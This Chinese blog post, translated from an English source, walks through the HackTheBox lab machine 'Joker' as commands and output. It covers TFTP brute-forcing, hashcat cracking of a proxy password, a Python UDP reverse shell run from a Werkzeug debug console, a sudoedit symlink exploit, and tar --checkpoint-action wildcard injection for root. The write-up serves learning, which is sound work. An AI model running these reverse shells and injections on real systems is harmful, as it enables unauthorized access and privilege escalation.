渗透实例二

2018-3-5 / 0评 / WEB安全

本文共计 117195 字,感谢您的耐心浏览与评论。

这可能是我在hackthebox上享受的第一个硬盘盒。里面大部分内容使我很快可以完成整个过程,强烈推荐。

初始枚举

启动nmap来快速扫描

  1. root@kali:~/htb/joker# nmap -sV 10.10.10.21

  2. Nmap scan report for joker (10.10.10.21)
  3. Host is up (0.066s latency).
  4. Not shown: 998 filtered ports
  5. PORT     STATE SERVICE    VERSION
  6. 22/tcp   open  ssh        OpenSSH 7.3p1 Ubuntu 1ubuntu0.1 (Ubuntu Linux; protocol 2.0)
  7. 3128/tcp open  http-proxy Squid http proxy 3.5.12
  8. Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
复制代码

ssh通常没有问题,除非它是一个严重过时的版本,所以我们来看看3128端口,这似乎是一个squid代理,我们尝试通过浏览器代理,看看我们可以得到什么。


退出设置后我们收到以下消息:


我尝试了几个简单的密码,但运气不好。还有一个名为NMAP NSE Script的http-proxy-bruteforce密码。也没有成功。
我们重新运行nmap来扫描所有TCP端口,同时做一个基本的UDP扫描,看看是否有其他服务打开。

  1. root@kali:~/htb/joker# nmap -sU 10.10.10.21

  2. Starting Nmap 7.50 ( https://nmap.org ) at 2017-12-29 14:46 EST
  3. Initiating Ping Scan at 14:46
  4. Scanning 10.10.10.21 [4 ports]
  5. Completed Ping Scan at 14:46, 0.23s elapsed (1 total hosts)
  6. Initiating UDP Scan at 14:46
  7. Host is up (0.067s latency).
  8. Not shown: 998 closed ports
  9. PORT     STATE         SERVICE
  10. 69/udp   open|filtered tftp
  11. 5355/udp open|filtered llmnr
复制代码

UDP扫描结果显示69端口TFTP服务开启,由于无法在TFTP服务器中列出文件,因此查找文件的唯一方法是破解它们,幸运的是Metasploit有一个模块可以为我们做到这一点。

  1. msf > use auxiliary/scanner/tftp/tftpbrute
  2. msf auxiliary(tftpbrute) > show options

  3. Module options (auxiliary/scanner/tftp/tftpbrute):

  4.    Name        Current Setting                                          Required  Description
  5.    ----        ---------------                                          --------  -----------
  6.    CHOST                                                                no        The local client address
  7.    DICTIONARY  /usr/share/metasploit-framework/data/wordlists/tftp.txt  yes       The list of filenames
  8.    RHOSTS                                                               yes       The target address range or CIDR identifier
  9.    RPORT       69                                                       yes       The target port
  10.    THREADS     1                                                        yes       The number of concurrent threads

  11. msf auxiliary(tftpbrute) > set RHOSTS 10.10.10.21
  12. RHOSTS => 10.10.10.21
  13. msf auxiliary(tftpbrute) > set DICTIONARY /usr/share/wordlists/dirb/common.txt
  14. DICTIONARY => /usr/share/wordlists/dirb/common.txt
  15. msf auxiliary(tftpbrute) > run

  16. [*] Found passwords on 10.10.10.21
  17. [*] Scanned 1 of 1 hosts (100% complete)
  18. [*] Auxiliary module execution completed
复制代码

我们加载tftpbrute模块,查看我们的选项,将RHOSTS设置为joker的IP,并加载我们自己的字典文件。可以看到我们在运行一分钟后得到了密码,太好了!让我们从joker那儿看看,看看里面有什么。

  1. root@kali:~/htb/joker# tftp 10.10.10.21
  2. tftp> get passwords
  3. Received 48 bytes in 0.0 seconds
  4. tftp> quit
  5. root@kali:~/htb/joker# cat passwords
  6. kalamari:$apr1$zyzBxQYW$pL360IoLQ5Yum5SLTph.l0
复制代码

看起来我们像在做生意,我们有一个似乎是代理用户的散列。继续看看我们要将什么样的散列输入到hashcat中。

  1. root@kali:~/htb/joker# hash-identifier
  2.    #########################################################################
  3.    #         __  __                     __                 ______    _____           #
  4.    #        /\ \/\ \                   /\ \         /\__  _\  /\  _ `\           #
  5.    #        \ \ \_\ \     __      ____ \ \ \___        \/_/\ \/  \ \ \/\ \           #
  6.    #         \ \  _  \  /'__`\   / ,__\ \ \  _ `\           \ \ \   \ \ \ \ \           #
  7.    #          \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \            \_\ \__ \ \ \_\ \           #
  8.    #           \ \_\ \_\ \___ \_\/\____/  \ \_\ \_\     /\_____\ \ \____/           #
  9.    #            \/_/\/_/\/__/\/_/\/___/    \/_/\/_/     \/_____/  \/___/  v1.1 #
  10.    #                                                                 By Zion3R #
  11.    #                                                        www.Blackploit.com #
  12.    #                                                       Root@Blackploit.com #
  13.    #########################################################################

  14.    -------------------------------------------------------------------------
  15. HASH: $apr1$zyzBxQYW$pL360IoLQ5Yum5SLTph.l0

  16. Possible Hashs:
  17. [ ]  MD5(APR)
复制代码

我直接在Windows机器上运行hashcat,也有办法让它在Kali中运行,让我们运行hashcat,查看我们是否可以找到MD5(APR)的选项,并破解哈希。

  1. C:\hashcat-3.5.0> .\hashcat64.exe --help | findstr apr
  2.    1600 | Apache $apr1$ MD5, md5apr1, MD5 (APR)            | HTTP, SMTP, LDAP Server

  3. C:\hashcat-3.5.0> .\hashcat64.exe -m 1600 -a 0 -o crackedjoker .\jokerhash.txt .\rockyou.txt
  4. hashcat (v3.5.0) starting...

  5. ...
  6. Output Truncated
  7. ...

  8. C:\hashcat-3.5.0> type .\crackedjoker
  9. $apr1$zyzBxQYW$pL360IoLQ5Yum5SLTph.l0:ihateseafood
复制代码

我们找到用户名kalamari的密码为ihateseafood。浏览到本地主机或127.0.0.1输入我们新发现的凭证后,我们看到了一个网页。


在测试网页之后,我们可以用它做很多事情。让我们看看是否可以用dirb找到其他页面。

  1. root@kali:~/htb/joker# dirb http://127.0.0.1 -p 10.10.10.21:3128 -P kalamari:ihateseafood -r

  2. -----------------
  3. DIRB v2.22    
  4. By The Dark Raver
  5. -----------------

  6. START_TIME: Fri Dec 29 15:27:52 2017
  7. URL_BASE: http://127.0.0.1/
  8. WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
  9. PROXY: 10.10.10.21:3128
  10. PROXY AUTHORIZATION: kalamari:ihateseafood
  11. OPTION: Not Recursive

  12. -----------------

  13. GENERATED WORDS: 4612
  14. ---- Scanning URL: http://127.0.0.1/ ----
  15. http://127.0.0.1/console (CODE:200|SIZE:1479)                                     
  16. ==> DIRECTORY: http://127.0.0.1/list/                       
  17. -----------------
  18. END_TIME: Fri Dec 29 15:33:08 2017
  19. DOWNLOADED: 4612 - FOUND: 1
复制代码

看起来我们已经找到了一个python控制台。我们来开始利用。


利用

在这里有几种不同的运行命令方式,因为这个控制台是单线程的,如果你以某种方式运行命令,如果有其他人正在使用它,控制台将会被锁定。这真的不应该成为一个问题,现在这个控制台已经不用很久了,而且体积很小,但是作为一个好的练习方式你应该使用。让我们尝试验证命令执行

  1. [console ready]
  2. >>> import subprocess
  3. >>> subprocess.check_output(['id'])
  4. 'uid=1000(werkzeug) gid=1000(werkzeug) groups=1000(werkzeug)\n'
复制代码

我试了一种常规的Python shell但没有反应。也无法通过wget下载文件。看起来防火墙可能会阻止连接。我们发现iptables的规则位于/etc/iptables/rules.v4

  1. >>> subprocess.check_output(['cat','/etc/iptables/rules.v4'])
  2. '# Generated by iptables-save v1.6.0 on Fri May 19 18:01:16 2017\n*filter\n:INPUT DROP [41573:1829596]\n:FORWARD ACCEPT [0:0]\n:OUTPUT ACCEPT [878:221932]\n-A INPUT -i ens33 -p tcp -m tcp --dport 22 -j ACCEPT\n-A INPUT -i ens33 -p tcp -m tcp --dport 3128 -j ACCEPT\n-A INPUT -i ens33 -p udp -j ACCEPT\n-A INPUT -i ens33 -p icmp -j ACCEPT\n-A INPUT -i lo -j ACCEPT\n-A OUTPUT -o ens33 -p tcp -m state --state NEW -j DROP\nCOMMIT\n# Completed on Fri May 19 18:01:16 2017\n'
复制代码

我们来清理一下格式。

  1. # Generated by iptables-save v1.6.0 on Fri May 19 18:01:16 2017
  2. *filter
  3. :INPUT DROP [41573:1829596]
  4. :FORWARD ACCEPT [0:0]
  5. :OUTPUT ACCEPT [878:221932]
  6. -A INPUT -i ens33 -p tcp -m tcp --dport 22 -j ACCEPT
  7. -A INPUT -i ens33 -p tcp -m tcp --dport 3128 -j ACCEPT
  8. -A INPUT -i ens33 -p udp -j ACCEPT
  9. -A INPUT -i ens33 -p icmp -j ACCEPT
  10. -A INPUT -i lo -j ACCEPT
  11. -A OUTPUT -o ens33 -p tcp -m state --state NEW -j DROP
  12. COMMIT
  13. # Completed on Fri May 19 18:01:16 2017  
复制代码

好的,我们可以在输出线上看到任何新的出站TCP连接都被删除。那么shell还有其他选项吗?好吧,碰巧有人已经用Python在这里制作了一个UDP反向shell。在这个之前,我不知道能否成功。我们无法使用netcat来捕获UDP外壳,所以我们不得不使用soc中的python脚本。在设置我们的监听器之后,然后在控制台中运行我们的shell。

  1. >>> import subprocess
  2. >>> subprocess.Popen(["python", "-c", 'import os; import pty; import socket; s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM); s.connect(("10.10.14.10", 100)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); os.putenv("HISTFILE","/dev/null"); pty.spawn("/bin/bash"); s.close();'])
  3. <subprocess.Popen object at 0x7fbf709745d0>
复制代码
  1. kali:~/htb/joker# socat file:`tty`,echo=0,raw  udp-listen:100
  2. werkzeug@joker:~$ id
  3. uid=1000(werkzeug) gid=1000(werkzeug) groups=1000(werkzeug)
复制代码

继续前进是值得养成的一个好习惯,并在获得shell之后产生一个tty。我们在这里用python来做到这一点。

  1. werkzeug@joker:~$ python -c 'import pty; pty.spawn("/bin/bash")'
复制代码

权限提升

不幸的是,我们无法在alekos的主目录中获取user.txt,因此我们需要权限提升。让我们看看我们当前的用户是否具有sudo权限。

  1. werkzeug@joker:/home/alekos$ sudo -l
  2. Matching Defaults entries for werkzeug on joker:
  3.     env_reset, mail_badpass,
  4.     secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
  5.     sudoedit_follow, !sudoedit_checkdir

  6. User werkzeug may run the following commands on joker:
  7.     (alekos) NOPASSWD: sudoedit /var/www/*/*/layout.html
复制代码
www.hksafe.cn.com
编辑layout.html文件对我们没有多大帮助,但星号看起来很有趣,可能有一种方法可以利用这些通配符。这恰好就是我们所能做的。
https://www.exploit-db.com/exploits/37710/
链接里的文章说,漏洞利用时,如果使用两次通配符,sudoedit不会检查完整路径。因此,为了利用它,他们创建了一个指向的符号链接/etc/shadow。这样做对我们来说不能完全利用,因为我们只具有sudoedit权限,而不是root。因此,我们可以做的是创建一个符号链接到alekos ssh授权密钥文件并编辑文件以添加到我们的公共ssh密钥中。
首先我们需要创建一个目录/var/www/,我们来检查权限。

  1. werkzeug@joker:/home/alekos$ cd /var/www
  2. werkzeug@joker:~$ ls -al
  3. total 20
  4. drwxr-xr-x  4 root     root     4096 May 18  2017 .
  5. drwxr-xr-x 14 root     root     4096 Oct 23  2016 ..
  6. -rwxr-x---  1 root     werkzeug  581 May 18  2017 manage-shorty.py
  7. drwxr-x---  5 root     werkzeug 4096 May 18  2017 shorty
  8. drwxr-xr-x  2 werkzeug werkzeug 4096 May 18  2017 testing
复制代码

看起来测试目录能很好的工作。

  1. werkzeug@joker:~$ cd testing
  2. werkzeug@joker:~/testing$ ls
  3. layout.html
复制代码

原来的layout.html是由sudoedit编辑的。我们需要在这里创建另一个目录来利用第二个通配符。然后创建我们的符号链接。

  1. werkzeug@joker:~/testing$ mkdir test
  2. werkzeug@joker:~/testing$ cd test
  3. werkzeug@joker:~/testing/test$ ln -s /home/alekos/.ssh/authorized_keys layout.html
  4. werkzeug@joker:~/testing/test$ ls -al
  5. total 8
  6. drwxrwxr-x 2 werkzeug werkzeug 4096 Dec 31 01:02 .
  7. drwxr-xr-x 3 werkzeug werkzeug 4096 Dec 31 01:01 ..
  8. lrwxrwxrwx 1 werkzeug werkzeug   33 Dec 31 01:02 layout.html -> /home/alekos/.ssh/authorized_keys
复制代码

我们的符号链接已到位。让我们编辑并放置我们的公共ssh密钥。

  1. werkzeug@joker:/$ sudoedit -u alekos /var/www/testing/test/layout.html
复制代码

现在我们可以使用ssh了。

  1. root@kali:~/htb/joker# ssh alekos@10.10.10.21
  2. Welcome to Ubuntu 16.10 (GNU/Linux 4.8.0-52-generic x86_64)

  3. * Documentation:  https://help.ubuntu.com
  4. * Management:     https://landscape.canonical.com
  5. * Support:        https://ubuntu.com/advantage

  6. 0 packages can be updated.
  7. 0 updates are security updates.


  8. Last login: Sat May 20 16:38:08 2017 from 10.10.13.210
  9. alekos@joker:~[        DISCUZ_CODE_20975        ]nbsp;
复制代码

现在我们可以抓取user.txt。

权限提升
我们已经克服了不少障碍,但由于我们尚未获得root shell,在主目录里面有两个有趣的东西,development和backup。backup是一个文件夹,其中包含development基于时间戳每五分钟运行的文件夹备份。我们也可以看到tar文件是由root拥有的。

  1. alekos@joker:~$ ls -al
  2. total 116
  3. drwxr-xr-x 7 alekos alekos  4096 May 19  2017 .
  4. drwxr-xr-x 3 root   root    4096 May 16  2017 ..
  5. drwxrwx--- 2 root   alekos 73728 Dec 31 01:20 backup
  6. -rw------- 1 root   root       0 May 17  2017 .bash_history
  7. -rw-r--r-- 1 alekos alekos   220 May 16  2017 .bash_logout
  8. -rw-r--r-- 1 alekos alekos  3771 May 16  2017 .bashrc
  9. drwx------ 2 alekos alekos  4096 May 17  2017 .cache
  10. drwxr-x--- 5 alekos alekos  4096 May 18  2017 development
  11. drwxr-xr-x 2 alekos alekos  4096 May 17  2017 .nano
  12. -rw-r--r-- 1 alekos alekos   655 May 16  2017 .profile
  13. drwxr-xr-x 2 alekos alekos  4096 May 20  2017 .ssh
  14. -r--r----- 1 root   alekos    33 May 19  2017 user.txt
  15. alekos@joker:~$ cd backup
  16. alekos@joker:~/backup$ ls -al
  17. total 67640
  18. drwxrwx--- 2 root   alekos 73728 Dec 31 01:20 .
  19. drwxr-xr-x 7 alekos alekos  4096 May 19  2017 ..
  20. -rw-r----- 1 root   alekos 40960 Dec 25 04:25 dev-1514168701.tar.gz
  21. -rw-r----- 1 root   alekos 40960 Dec 25 04:30 dev-1514169001.tar.gz
  22. -rw-r----- 1 root   alekos 40960 Dec 25 04:35 dev-1514169301.tar.gz
  23. -rw-r----- 1 root   alekos 40960 Dec 25 04:40 dev-1514169601.tar.gz
  24. -rw-r----- 1 root   alekos 40960 Dec 25 04:45 dev-1514169901.tar.gz
复制代码

在检查cron作业之后,没有发现正在运行这些备份的信号。经过一段时间的思考之后,似乎合乎逻辑的是,备份如何运行tar cf *。然而,我们可以利用另一个通配符。恰巧我在Vulnhub盒子上工作时遇到过这个问题。
有关如何操作的详细说明,请点击此处
简单的解释是我们可以将选项和参数注入,通过命名这些选项/参数的文件运行的tar命令中。通配符会将文件名处理为实际的命令行选项并运行它们。
我们将要使用的选项是--checkpoint和--checkpoint-action。使用tar,您可以指定检查点和每个运行命令的检查点操作。所以我们所要做的就是设置检查点操作来运行另一个python UDP shell。
我们来展示我们的shell。

  1. alekos@joker:~/development$ nano udpshell.py
  2. alekos@joker:~/development$ chmod x udpshell.py
复制代码

创建我们的文件。请注意,您必须使用--表示命令选项的结尾,以便正确地创建文件名。

  1. alekos@joker:~/development$ touch -- --checkpoint=1
  2. alekos@joker:~/development$ touch -- '--checkpoint-action=exec=python udpshell.py'
复制代码

启动监听并等待工作运行。

  1. root@kali:~/htb/joker# socat file:`tty`,echo=0,raw  udp-listen:100
  2. root@joker:/home/alekos/development# id
  3. uid=0(root) gid=0(root) groups=0(root)
  4. root@joker:/home/alekos/development#
复制代码

现在我们已经有了我们的root shell!


翻译自国外技术文章  BY T0reAd


声明:戏子与嬉皮士|版权所有,违者必究|如未注明,均为原创|本网站采用BY-T0reAd协议进行授权

转载:转载请注明原文链接 - 渗透实例二

0条回应:“渗透实例二”

发表评论